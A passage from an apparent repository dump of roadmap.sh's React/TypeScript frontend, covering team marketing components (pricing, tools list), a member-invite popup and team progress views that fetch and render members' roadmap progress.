sm:text-base\"\n              >\n                Create your Team\n              </a>\n              {!isAuthenticated && (\n                <>\n                  <span className=\"ml-1 hidden text-base sm:inline\">\n                    or &nbsp;\n                    <a\n                      href=\"/login\"\n                      onClick={() => {\n                        fireTeamCreationClick();\n                        localStorage.setItem('authRedirect', '/team/new');\n                      }}\n                      className=\"text-purple-600 underline  hover:text-purple-700\"\n                    >\n                      Login to your account\n                    </a>\n                  </span>\n                  <a\n                    href=\"/login\"\n                    onClick={() => {\n                      fireTeamCreationClick();\n                      localStorage.setItem('authRedirect', '/team/new');\n                    }}\n                    className=\"flex w-full items-center justify-center rounded-lg border border-purple-600 px-5 py-2 text-base text-sm font-medium text-purple-600 hover:bg-blue-700 sm:hidden sm:text-base\"\n                  >\n                    Login to your account\n                  </a>\n                </>\n              )}\n            </div>\n          </div>\n          <img\n            alt={'team roadmaps'}\n            className=\"hidden h-64 md:block lg:h-80\"\n            src=\"/img/team-promo/hero-img.png\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamMarketing/TeamPricing.tsx",
    "content": "import { Copy } from 'lucide-react';\nimport { useCopyText } from '../../hooks/use-copy-text.ts';\nimport { cn } from '../../lib/classname.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { fireTeamCreationClick } from './TeamHeroBanner.tsx';\nimport { useEffect, useState } from 'react';\n\nexport function TeamPricing() {\n  const { isCopied, copyText } = useCopyText();\n  const teamEmail = 'teams@roadmap.sh';\n\n  const [isAuthenticated, setIsAuthenticated] = useState<boolean>();\n\n  useEffect(() => {\n    setIsAuthenticated(isLoggedIn());\n  }, []);\n\n  return (\n    <div className=\"border-t py-4 sm:py-8 md:py-12\">\n      <div className=\"container\">\n        <h2 className=\"mb-1 text-xl font-bold sm:mb-1.5 sm:text-2xl md:mb-2 md:text-3xl\">\n          Beta Pricing\n        </h2>\n        <p className=\"mb-4 text-base text-gray-600 sm:mb-8 sm:text-lg\">\n          We are currently in public beta and are offering free access to all\n          features.\n        </p>\n\n        <div className=\"flex flex-col gap-6 sm:flex-row sm:gap-4\">\n          <div className=\"relative flex flex-col items-center justify-center gap-2 overflow-hidden rounded-xl border border-purple-500\">\n            <div className=\"px-8 pb-2 pt-5 text-center sm:pt-4\">\n              <h3 className=\"mb-1 text-2xl font-bold\">Free</h3>\n              <p className=\"text-sm text-gray-500\">No credit card required</p>\n              <p className=\"flex items-start justify-center gap-1 py-6 text-3xl\">\n                <span className=\"text-base text-gray-600\">$</span>\n                <span className=\"text-5xl font-bold\">0</span>\n              </p>\n\n              <a\n                onClick={() => {\n                  fireTeamCreationClick();\n                  if (isAuthenticated) {\n                    return;\n                  }\n\n                  localStorage.setItem('redirect', '/team/new');\n                }}\n                href={isAuthenticated ? '/team/new' : '/signup'}\n                className=\"block rounded-md bg-purple-600 px-6 py-2 text-center text-sm font-medium leading-6 text-white shadow-sm transition hover:bg-gray-700 hover:shadow-lg focus:outline-hidden\"\n              >\n                {isAuthenticated ? 'Create your Team' : 'Sign up for free'}\n              </a>\n            </div>\n            <div className=\"flex w-full flex-col gap-1 border-t px-8 py-5 text-center sm:py-3\">\n              <p className=\"font-semibold text-black\">All the features</p>\n              <p className=\"text-gray-600\">Roles and Permissions</p>\n              <p className=\"text-gray-600\">Custom Roadmaps</p>\n              <p className=\"text-gray-600\">Sharing Options</p>\n              <p className=\"text-gray-600\">Progress Tracking</p>\n              <p className=\"text-gray-600\">Team Insights</p>\n              <p className=\"text-gray-600\">Onboarding support</p>\n            </div>\n          </div>\n          <div className=\"flex grow flex-col items-center justify-center rounded-md border border-gray-300 py-8\">\n            <img\n              alt={'waving hand'}\n              src={'/img/team-promo/contact.png'}\n              className=\"mb-3 h-40\"\n            />\n            <p className=\"mb-2 font-medium text-gray-500\">\n              Questions? We are here to help!\n            </p>\n            <p className=\"text-gray-600\">\n              <button\n                onClick={() => {\n                  copyText(teamEmail);\n                }}\n                className={cn(\n                  'relative flex items-center justify-between gap-3 overflow-hidden rounded-md border border-black bg-white px-4 py-2 text-black hover:bg-gray-100',\n                )}\n              >\n                {teamEmail}\n                <Copy\n                  className=\"relative top-[1px] ml-2 inline-block text-black transition-opacity\"\n                  size={16}\n                />\n\n                <span\n                  className={cn(\n                    'absolute bottom-0 left-0 right-0 flex items-center justify-center bg-black text-white transition-all',\n                    {\n                      'top-full': !isCopied,\n                      'top-0': isCopied,\n                      'opacity-0': !isCopied,\n                    },\n                  )}\n                >\n                  Email copied!\n                </span>\n              </button>\n            </p>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamMarketing/TeamTools.tsx",
    "content": "import {AlertTriangle, Barcode, BookOpenIcon, PieChart, Shrub, SquareIcon, UserRoundPlus} from \"lucide-react\";\n\nconst toolsList = [\n  {\n    icon: Shrub,\n    title: 'Growth plans',\n    description: 'Prepare shared or individual growth plans for members.',\n  },\n  {\n    icon: Barcode,\n    title: 'Progress tracking',\n    description: 'Track and compare the progress of team members.',\n  },\n  {\n    icon: UserRoundPlus,\n    title: 'Onboarding',\n    description: 'Prepare onboarding plans for new team members.',\n  },\n  {\n    icon: PieChart,\n    title: 'Team insights',\n    description: 'Get insights about your team skills, progress and more.',\n  },\n  {\n    icon: AlertTriangle,\n    title: 'Skill gap analysis',\n    description: 'Understand the skills of your team and identify gaps.',\n  },\n  {\n    icon: BookOpenIcon,\n    title: 'Documentation',\n    description: 'Create and share visual team documentation.',\n  },\n];\n\nexport function TeamTools() {\n  return (\n    <div className=\"py-4 sm:py-8 md:py-12 border-t\">\n      <div className=\"container\">\n        <h2 className=\"mb-1 sm:mb-1.5 md:mb-2 text-xl sm:text-2xl md:text-3xl font-bold\">Track and guide your team’s knowledge</h2>\n        <p className='text-sm md:text-base'>\n          Individual and team level growth plans, progress tracking, skill gap analysis, team insights and more.\n        </p>\n\n        <div className=\"mt-3 sm:mt-5 md:mt-8 grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-2 sm:gap-4\">\n          {toolsList.map((tool) => {\n            return (\n              <div className=\"rounded-md sm:rounded-xl border p-2 sm:p-5 text-left sm:text-center md:text-left\">\n                <div className='mb-5 flex h-9 w-9 items-center justify-center rounded-full bg-gray-900 text-white'>\n                  {tool.icon ? <tool.icon size={23} /> : <SquareIcon size={24} /> }\n                </div>\n                <h3 className=\"mb-0.5 sm:mb-2 text-lg sm:text-2xl font-bold\">{tool.title}</h3>\n                <p className='text-sm sm:text-base'>{tool.description}</p>\n              </div>\n            );\n          })}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamMembers/InviteMemberPopup.tsx",
    "content": "import { type FormEvent, useEffect, useRef, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport { useTeamId } from '../../hooks/use-team-id';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { type AllowedRoles, RoleDropdown } from '../CreateTeam/RoleDropdown';\n\ntype InviteMemberPopupProps = {\n  onInvited: () => void;\n  onClose: () => void;\n  teamId?: string;\n};\n\nexport function InviteMemberPopup(props: InviteMemberPopupProps) {\n  const { onClose, onInvited, teamId: defaultTeamId } = props;\n\n  const popupBodyRef = useRef<HTMLDivElement>(null);\n  const emailRef = useRef<HTMLInputElement>(null);\n  const [selectedRole, setSelectedRole] = useState<AllowedRoles>('member');\n  const [email, setEmail] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const { teamId = defaultTeamId } = useTeamId();\n\n  useEffect(() => {\n    emailRef?.current?.focus();\n  }, []);\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    setError('');\n\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-invite-member/${teamId}`,\n      { email, role: selectedRole },\n    );\n\n    if (error || !response) {\n      setIsLoading(false);\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setIsLoading(false);\n    handleClosePopup();\n    onInvited();\n  };\n\n  const handleClosePopup = () => {\n    setIsLoading(false);\n    setError('');\n\n    onClose();\n  };\n\n  useOutsideClick(popupBodyRef, handleClosePopup);\n\n  return (\n    <div className=\"popup fixed left-0 right-0 top-0 z-50 flex h-full items-center justify-center overflow-y-auto overflow-x-hidden bg-black/50\">\n      <div className=\"relative h-full w-full max-w-md p-4 md:h-auto\">\n        <div\n          ref={popupBodyRef}\n          className=\"popup-body relative rounded-lg bg-white p-4 shadow-sm\"\n        >\n          <h3 className=\"mb-1.5 text-xl font-medium sm:text-2xl\">\n            Invite Member\n          </h3>\n          <p className=\"mb-3 hidden text-sm leading-none text-gray-400 sm:block\">\n            Enter the email and role below to invite a member.\n          </p>\n\n          <form onSubmit={handleSubmit}>\n            <div className=\"my-4 mt-0 flex flex-col gap-2 sm:mt-4\">\n              <input\n                ref={emailRef}\n                type=\"email\"\n                name=\"invite-member\"\n                id=\"invite-member\"\n                className=\"mt-2 block w-full rounded-md border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:border-gray-400\"\n                placeholder=\"Enter email address\"\n                required\n                autoFocus\n                value={email}\n                onInput={(e) => setEmail((e.target as HTMLInputElement).value)}\n              />\n\n              <div className=\"flex h-[42px] w-full flex-col\">\n                <RoleDropdown\n                  className=\"h-full w-full\"\n                  selectedRole={selectedRole}\n                  setSelectedRole={setSelectedRole}\n                />\n              </div>\n\n              {error && (\n                <p className=\"rounded-md border border-red-300 bg-red-50 p-2 text-sm text-red-700\">\n                  {error}\n                </p>\n              )}\n            </div>\n\n            <div className=\"flex items-center gap-2\">\n              <button\n                type=\"button\"\n                disabled={isLoading}\n                onClick={handleClosePopup}\n                className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center\"\n              >\n                Cancel\n              </button>\n              <button\n                type=\"submit\"\n                disabled={isLoading || !email}\n                className=\"grow cursor-pointer rounded-lg bg-black py-2 text-center text-white disabled:opacity-40\"\n              >\n                {isLoading ? 'Please wait ..' : 'Invite'}\n              </button>\n            </div>\n          </form>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/GroupRoadmapItem.tsx",
    "content": "import { useState } from 'react';\nimport type { GroupByRoadmap, TeamMember } from './TeamProgressPage';\nimport { getUrlParams } from '../../lib/browser';\nimport { useAuth } from '../../hooks/use-auth';\nimport { LucideExternalLink } from 'lucide-react';\n\ntype GroupRoadmapItemProps = {\n  roadmap: GroupByRoadmap;\n  onShowResourceProgress: (member: TeamMember, resourceId: string) => void;\n};\n\nexport function GroupRoadmapItem(props: GroupRoadmapItemProps) {\n  const { onShowResourceProgress } = props;\n  const { members, resourceTitle, resourceId, isCustomResource, roadmapSlug } =\n    props.roadmap;\n\n  const { t: teamId } = getUrlParams();\n  const user = useAuth();\n\n  const [showAll, setShowAll] = useState(false);\n  const roadmapLink = isCustomResource\n    ? `/r/${roadmapSlug}`\n    : `/${resourceId}?t=${teamId}`;\n\n  return (\n    <>\n      <div className=\"flex h-full min-h-[270px] flex-col rounded-md border\">\n        <div className=\"flex items-center gap-3 border-b p-3\">\n          <div className=\"flex min-w-0 grow items-center justify-between\">\n            <h3 className=\"truncate font-medium\">{resourceTitle}</h3>\n            <a\n              href={roadmapLink}\n              className=\"group mb-0.5 flex shrink-0 items-center justify-between text-base font-medium leading-none text-black\"\n              target={'_blank'}\n            >\n              <LucideExternalLink className=\"h-4 w-4 opacity-20 transition-opacity group-hover:opacity-100\" />\n            </a>\n          </div>\n        </div>\n        <div className=\"relative flex grow flex-col space-y-2 p-3\">\n          {(showAll ? members : members.slice(0, 4)).map((member) => {\n            const isMyProgress = user?.email === member?.member?.email;\n\n            if (!member.progress) {\n              return null;\n            }\n\n            return (\n              <button\n                className={`group relative w-full overflow-hidden rounded-md border p-2 hover:border-gray-300 hover:text-black focus:outline-hidden ${\n                  isMyProgress ? 'border-green-500 hover:border-green-600' : ''\n                }`}\n                key={member?.member._id}\n                onClick={() => {\n                  onShowResourceProgress(\n                    member.member,\n                    member.progress?.resourceId!,\n                  );\n                }}\n              >\n                <span className=\"relative z-10 flex items-center justify-between gap-1 text-sm\">\n                  <span className=\"inline-grid grid-cols-[20px_auto] gap-3\">\n                    <img\n                      src={\n                        member.member.avatar\n                          ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${\n                              member.member.avatar\n                            }`\n                          : '/img/default-avatar.png'\n                      }\n                      alt={member.member.name || ''}\n                      className=\"h-5 w-5 shrink-0 rounded-full\"\n                    />\n                    <span className=\"inline-grid grid-cols-[auto_32px] items-center\">\n                      <span className=\"mr-[5px] truncate\">\n                        {member?.member?.name}\n                      </span>\n                    </span>\n                  </span>\n                  <span className=\"shrink-0 text-xs text-gray-400\">\n                    {member?.progress?.done} / {member?.progress?.total}\n                  </span>\n                </span>\n                <span\n                  className={`absolute inset-0 ${\n                    isMyProgress\n                      ? 'bg-green-100 group-hover:bg-green-200'\n                      : 'bg-gray-100 group-hover:bg-gray-200'\n                  }`}\n                  style={{\n                    width: `${\n                      (member?.progress?.done / member?.progress?.total) * 100\n                    }%`,\n                  }}\n                />\n              </button>\n            );\n          })}\n\n          {members.length > 4 && !showAll && (\n            <button\n              onClick={() => setShowAll(true)}\n              className={'text-sm text-gray-400 underline'}\n            >\n              + {members.length - 4} more\n            </button>\n          )}\n\n          {showAll && (\n            <button\n              onClick={() => setShowAll(false)}\n              className={'text-sm text-gray-400 underline'}\n            >\n              - Show less\n            </button>\n          )}\n\n          {members.length === 0 && (\n            <div className=\"text-sm text-gray-500\">No progress</div>\n          )}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/MemberCustomProgressModal.tsx",
    "content": "import '../FrameRenderer/FrameRenderer.css';\nimport {\n  useCallback,\n  useEffect,\n  useState,\n  type MouseEvent,\n  useRef,\n} from 'react';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport type { TeamMember } from './TeamProgressPage';\nimport { httpGet } from '../../lib/http';\nimport {\n  renderTopicProgress,\n  type ResourceProgressType,\n  type ResourceType,\n  updateResourceProgress,\n} from '../../lib/resource-progress';\nimport { useToast } from '../../hooks/use-toast';\nimport { useAuth } from '../../hooks/use-auth';\nimport { pageProgressMessage } from '../../stores/page';\nimport type { GetRoadmapResponse } from '../CustomRoadmap/CustomRoadmap';\nimport { ReadonlyEditor } from '@roadmapsh/editor';\nimport type { Node } from '@roadmapsh/editor';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { MemberProgressModalHeader } from './MemberProgressModalHeader';\nimport { X } from 'lucide-react';\n\nexport type ProgressMapProps = {\n  member: TeamMember;\n  teamId: string;\n  resourceId: string;\n  resourceType: 'roadmap' | 'best-practice';\n  onClose: () => void;\n  onShowMyProgress: () => void;\n  isCustomResource?: boolean;\n};\n\nexport type MemberProgressResponse = {\n  removed: string[];\n  done: string[];\n  learning: string[];\n  skipped: string[];\n};\n\nexport function MemberCustomProgressModal(props: ProgressMapProps) {\n  const {\n    resourceId,\n    member,\n    resourceType,\n    onShowMyProgress,\n    teamId,\n    onClose,\n  } = props;\n\n  const user = useAuth();\n  const isCurrentUser = user?.email === member.email;\n\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const [roadmap, setRoadmap] = useState<GetRoadmapResponse | null>(null);\n  const [memberProgress, setMemberProgress] =\n    useState<MemberProgressResponse>();\n  const [isLoading, setIsLoading] = useState(true);\n  const toast = useToast();\n\n  useKeydown('Escape', () => onClose());\n  useOutsideClick(popupBodyEl, () => onClose());\n\n  async function getMemberProgress(\n    teamId: string,\n    memberId: string,\n    resourceType: string,\n    resourceId: string,\n  ) {\n    const { error, response } = await httpGet<MemberProgressResponse>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-get-member-resource-progress/${teamId}/${memberId}?resourceType=${resourceType}&resourceId=${resourceId}`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to get member progress');\n      return;\n    }\n\n    setMemberProgress(response);\n\n    return response;\n  }\n\n  async function getRoadmap() {\n    const { response, error } = await httpGet<GetRoadmapResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-roadmap/${resourceId}`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to load roadmap');\n      return;\n    }\n\n    setRoadmap(response);\n\n    return response;\n  }\n\n  useEffect(() => {\n    if (!resourceId || !resourceType || !teamId) {\n      return;\n    }\n\n    setIsLoading(true);\n    Promise.all([\n      getRoadmap(),\n      getMemberProgress(teamId, member._id, resourceType, resourceId),\n    ])\n      .then(() => {})\n      .catch((err) => {\n        console.error(err);\n        toast.error(err?.message || 'Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, [member]);\n\n  function updateTopicStatus(topicId: string, newStatus: ResourceProgressType) {\n    if (!resourceId || !resourceType || !isCurrentUser) {\n      return;\n    }\n\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId: resourceId,\n        resourceType: resourceType as ResourceType,\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n        getMemberProgress(teamId, member._id, resourceType, resourceId).then(\n          (data) => {\n            setMemberProgress(data);\n          },\n        );\n      })\n      .catch((err) => {\n        alert('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n      });\n\n    return;\n  }\n\n  const handleTopicRightClick = useCallback((e: MouseEvent, node: Node) => {\n    if (!isCurrentUser) {\n      return;\n    }\n\n    const target =\n      node?.type === 'todo'\n        ? document.querySelector(`[data-id=\"${node.id}\"]`)\n        : (e?.currentTarget as HTMLDivElement);\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusDone = target?.classList.contains('done');\n    updateTopicStatus(node.id, isCurrentStatusDone ? 'pending' : 'done');\n  }, []);\n\n  const handleTopicShiftClick = useCallback((e: MouseEvent, node: Node) => {\n    if (!isCurrentUser) {\n      return;\n    }\n\n    const target = e?.currentTarget as HTMLDivElement;\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusLearning = target?.classList.contains('learning');\n    updateTopicStatus(\n      node.id,\n      isCurrentStatusLearning ? 'pending' : 'learning',\n    );\n  }, []);\n\n  const handleTopicAltClick = useCallback((e: MouseEvent, node: Node) => {\n    if (!isCurrentUser) {\n      return;\n    }\n\n    const target = e?.currentTarget as HTMLDivElement;\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusSkipped = target?.classList.contains('skipped');\n    updateTopicStatus(node.id, isCurrentStatusSkipped ? 'pending' : 'skipped');\n  }, []);\n\n  const handleLinkClick = useCallback((linkId: string, href: string) => {\n    if (!href || !isCurrentUser) {\n      return;\n    }\n\n    const isExternalLink = href.startsWith('http');\n    if (isExternalLink) {\n      window.open(href, '_blank');\n    } else {\n      window.location.href = href;\n    }\n  }, []);\n\n  return (\n    <div className=\"fixed left-0 right-0 top-0 z-100 h-full items-center justify-center overflow-y-auto overflow-x-hidden overscroll-contain bg-black/50\">\n      <div\n        id=\"original-roadmap\"\n        className=\"relative mx-auto h-full w-full max-w-4xl p-4 md:h-auto\"\n      >\n        <div\n          className=\"relative rounded-lg bg-white pt-[1px] shadow-sm\"\n          ref={popupBodyEl}\n        >\n          <MemberProgressModalHeader\n            resourceId={resourceId}\n            member={member}\n            progress={memberProgress}\n            isCurrentUser={isCurrentUser}\n            onShowMyProgress={onShowMyProgress}\n            isLoading={isLoading}\n          />\n\n          {!isLoading && roadmap && (\n            <div className=\"px-4 pb-2\">\n              <ReadonlyEditor\n                variant=\"modal\"\n                roadmap={roadmap!}\n                className=\"min-h-[400px]\"\n                onRendered={() => {\n                  const {\n                    removed = [],\n                    done = [],\n                    learning = [],\n                    skipped = [],\n                  } = memberProgress || {};\n\n                  done.forEach((id: string) => renderTopicProgress(id, 'done'));\n                  learning.forEach((id: string) =>\n                    renderTopicProgress(id, 'learning'),\n                  );\n                  skipped.forEach((id: string) =>\n                    renderTopicProgress(id, 'skipped'),\n                  );\n                  removed.forEach((id: string) =>\n                    renderTopicProgress(id, 'removed'),\n                  );\n                }}\n                onTopicRightClick={handleTopicRightClick}\n                onTopicShiftClick={handleTopicShiftClick}\n                onTopicAltClick={handleTopicAltClick}\n                onButtonNodeClick={handleLinkClick}\n                onLinkClick={handleLinkClick}\n                fontFamily=\"Balsamiq Sans\"\n                fontURL=\"/fonts/balsamiq.woff2\"\n              />\n            </div>\n          )}\n\n          {isLoading && (\n            <div className=\"flex w-full justify-center\">\n              <Spinner\n                isDualRing={false}\n                className=\"mb-4 mt-2 h-4 w-4 animate-spin fill-blue-600 text-gray-200 sm:h-8 sm:w-8\"\n              />\n            </div>\n          )}\n\n          <button\n            type=\"button\"\n            className={`absolute right-2.5 top-3 z-50 ml-auto inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:text-gray-900 lg:hidden ${\n              isCurrentUser ? 'hover:bg-gray-800' : 'hover:bg-gray-100'\n            }`}\n            onClick={onClose}\n          >\n            <X className=\"h-4 w-4\" />\n            <span className=\"sr-only\">Close modal</span>\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/MemberProgressItem.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport type { TeamMember } from './TeamProgressPage';\nimport { useState } from 'react';\nimport { $currentTeam } from '../../stores/team';\nimport { cn } from '../../lib/classname';\n\ntype MemberProgressItemProps = {\n  member: TeamMember;\n  onShowResourceProgress: (\n    resourceId: string,\n    isCustomResource: boolean,\n  ) => void;\n  isMyProgress?: boolean;\n  teamId: string;\n};\nexport function MemberProgressItem(props: MemberProgressItemProps) {\n  const {\n    member,\n    onShowResourceProgress,\n    isMyProgress = false,\n    teamId,\n  } = props;\n\n  const currentTeam = useStore($currentTeam);\n  const memberProgress = member?.progress?.sort((a, b) => {\n    return b.done - a.done;\n  });\n\n  const [showAll, setShowAll] = useState(false);\n\n  const isPersonalProgressOnly =\n    currentTeam?.personalProgressOnly &&\n    currentTeam.role === 'member' &&\n    String(member._id) !== currentTeam.memberId;\n  const memberDetailsUrl = `/team/member?t=${teamId}&m=${member._id}`;\n\n  return (\n    <>\n      <div\n        className={`flex h-full min-h-[270px] flex-col overflow-hidden rounded-md border`}\n        key={member._id}\n      >\n        <div className={`relative flex items-center gap-3 border-b p-3`}>\n          <img\n            src={\n              member.avatar\n                ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${member.avatar}`\n                : '/img/default-avatar.png'\n            }\n            alt={member.name || ''}\n            className=\"h-8 min-h-[32px] w-8 min-w-[32px] rounded-full\"\n          />\n          <div className=\"inline-grid w-full\">\n            {!isMyProgress && (\n              <a\n                href={memberDetailsUrl}\n                className={cn(\n                  'truncate font-medium',\n                  isPersonalProgressOnly\n                    ? 'pointer-events-none cursor-default no-underline'\n                    : '',\n                )}\n                onClick={(e) => {\n                  if (isPersonalProgressOnly) {\n                    e.preventDefault();\n                  }\n                }}\n                aria-disabled={isPersonalProgressOnly}\n              >\n                {member.name}\n              </a>\n            )}\n            {isMyProgress && (\n              <div className=\"inline-grid grid-cols-[auto_32px] items-center gap-1.5\">\n                <a\n                  href={memberDetailsUrl}\n                  className={cn(\n                    'truncate font-medium',\n                    isPersonalProgressOnly\n                      ? 'pointer-events-none cursor-default no-underline'\n                      : '',\n                  )}\n                  onClick={(e) => {\n                    if (isPersonalProgressOnly) {\n                      e.preventDefault();\n                    }\n                  }}\n                  aria-disabled={isPersonalProgressOnly}\n                >\n                  {member.name}\n                </a>\n                <span className=\"rounded-md bg-red-500 px-1 py-0.5 text-xs text-white\">\n                  You\n                </span>\n              </div>\n            )}\n            <p className=\"truncate text-sm text-gray-500\">{member.email}</p>\n          </div>\n        </div>\n        <div className=\"relative flex grow flex-col space-y-2 p-3\">\n          {(showAll ? memberProgress : memberProgress.slice(0, 4)).map(\n            (progress) => {\n              return (\n                <button\n                  onClick={() =>\n                    onShowResourceProgress(\n                      progress.resourceId,\n                      progress.isCustomResource!,\n                    )\n                  }\n                  className=\"group relative overflow-hidden rounded-md border p-2 hover:border-gray-300 hover:text-black focus:outline-hidden\"\n                  key={progress.resourceId}\n                >\n                  <span className=\"relative z-10 flex items-center justify-between text-sm\">\n                    <span className=\"inline-grid\">\n                      <span className={'truncate'}>\n                        {progress.resourceTitle}\n                      </span>\n                    </span>\n                    <span className=\"ml-1.5 shrink-0 text-xs text-gray-400\">\n                      {progress.done} / {progress.total}\n                    </span>\n                  </span>\n                  <span\n                    className=\"absolute inset-0 bg-gray-100 group-hover:bg-gray-200\"\n                    style={{\n                      width: `${(progress.done / progress.total) * 100}%`,\n                    }}\n                  />\n                </button>\n              );\n            },\n          )}\n\n          {memberProgress.length > 4 && !showAll && (\n            <button\n              onClick={() => setShowAll(true)}\n              className={'text-sm text-gray-400 underline'}\n            >\n              + {memberProgress.length - 4} more\n            </button>\n          )}\n\n          {showAll && (\n            <button\n              onClick={() => setShowAll(false)}\n              className={'text-sm text-gray-400 underline'}\n            >\n              - Show less\n            </button>\n          )}\n\n          {memberProgress.length === 0 && (\n            <div className=\"text-sm text-gray-500\">No progress</div>\n          )}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/MemberProgressModal.tsx",
    "content": "import '../FrameRenderer/FrameRenderer.css';\nimport '../EditorRoadmap/EditorRoadmapRenderer.css';\nimport { useEffect, useRef, useState } from 'react';\nimport { wireframeJSONToSVG } from 'roadmap-renderer';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport type { TeamMember } from './TeamProgressPage';\nimport { httpGet } from '../../lib/http';\nimport {\n  renderTopicProgress,\n  type ResourceProgressType,\n  type ResourceType,\n  updateResourceProgress,\n} from '../../lib/resource-progress';\nimport { useToast } from '../../hooks/use-toast';\nimport { useAuth } from '../../hooks/use-auth';\nimport { pageProgressMessage } from '../../stores/page';\nimport { MemberProgressModalHeader } from './MemberProgressModalHeader';\nimport { replaceChildren } from '../../lib/dom.ts';\nimport { XIcon } from 'lucide-react';\nimport type { PageType } from '../CommandMenu/CommandMenu.tsx';\nimport { renderFlowJSON } from '@roadmapsh/editor';\nimport { getResourceMeta } from '../../lib/roadmap.ts';\n\nexport type ProgressMapProps = {\n  member: TeamMember;\n  teamId: string;\n  resourceId: string;\n  resourceType: 'roadmap' | 'best-practice';\n  onClose: () => void;\n  onShowMyProgress: () => void;\n  isCustomResource?: boolean;\n};\n\ntype MemberProgressResponse = {\n  removed: string[];\n  done: string[];\n  learning: string[];\n  skipped: string[];\n};\n\nexport function MemberProgressModal(props: ProgressMapProps) {\n  const {\n    resourceId,\n    member,\n    resourceType,\n    onShowMyProgress,\n    teamId,\n    onClose,\n  } = props;\n  const user = useAuth();\n  const isCurrentUser = user?.email === member.email;\n\n  const containerEl = useRef<HTMLDivElement>(null);\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n\n  const [showProgressHint, setShowProgressHint] = useState(false);\n  const [memberProgress, setMemberProgress] =\n    useState<MemberProgressResponse>();\n  const [isLoading, setIsLoading] = useState(true);\n  const toast = useToast();\n  const [renderer, setRenderer] = useState<PageType['renderer']>('balsamiq');\n\n  async function getMemberProgress(\n    teamId: string,\n    memberId: string,\n    resourceType: string,\n    resourceId: string,\n  ) {\n    const { error, response } = await httpGet<MemberProgressResponse>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-get-member-resource-progress/${teamId}/${memberId}?resourceType=${resourceType}&resourceId=${resourceId}`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to get member progress');\n      return;\n    }\n\n    setMemberProgress(response);\n\n    return response;\n  }\n\n  async function renderResource() {\n    const page = await getResourceMeta(resourceType, resourceId);\n    if (!page) {\n      toast.error('Resource not found');\n      return;\n    }\n\n    const renderer = page.renderer || 'balsamiq';\n    setRenderer(renderer);\n\n    let resourceJsonUrl = import.meta.env.DEV\n      ? 'http://localhost:3000'\n      : 'https://roadmap.sh';\n    if (resourceType === 'roadmap' && renderer === 'balsamiq') {\n      resourceJsonUrl += `/${resourceId}.json`;\n    } else if (resourceType === 'roadmap' && renderer === 'editor') {\n      resourceJsonUrl = `${import.meta.env.PUBLIC_API_URL}/v1-official-roadmap/${resourceId}`;\n    } else {\n      resourceJsonUrl += `/best-practices/${resourceId}.json`;\n    }\n\n    const res = await fetch(resourceJsonUrl, {});\n    const json = await res.json();\n    const svg =\n      renderer === 'editor'\n        ? renderFlowJSON(json)\n        : await wireframeJSONToSVG(json, {\n            fontURL: '/fonts/balsamiq.woff2',\n          });\n\n    const container = containerEl.current;\n    if (!svg || !container) {\n      return;\n    }\n\n    replaceChildren(container, svg);\n  }\n\n  useKeydown('Escape', () => {\n    if (showProgressHint) {\n      return;\n    }\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    if (showProgressHint) {\n      return;\n    }\n    onClose();\n  });\n\n  useEffect(() => {\n    if (!containerEl.current || !resourceId || !resourceType || !teamId) {\n      return;\n    }\n\n    setIsLoading(true);\n    Promise.all([\n      renderResource(),\n      getMemberProgress(teamId, member._id, resourceType, resourceId),\n    ])\n      .then(([_, memberProgress = {}]) => {\n        const {\n          removed = [],\n          done = [],\n          learning = [],\n          skipped = [],\n        } = memberProgress;\n\n        done.forEach((id) => renderTopicProgress(id, 'done'));\n        learning.forEach((id) => renderTopicProgress(id, 'learning'));\n        skipped.forEach((id) => 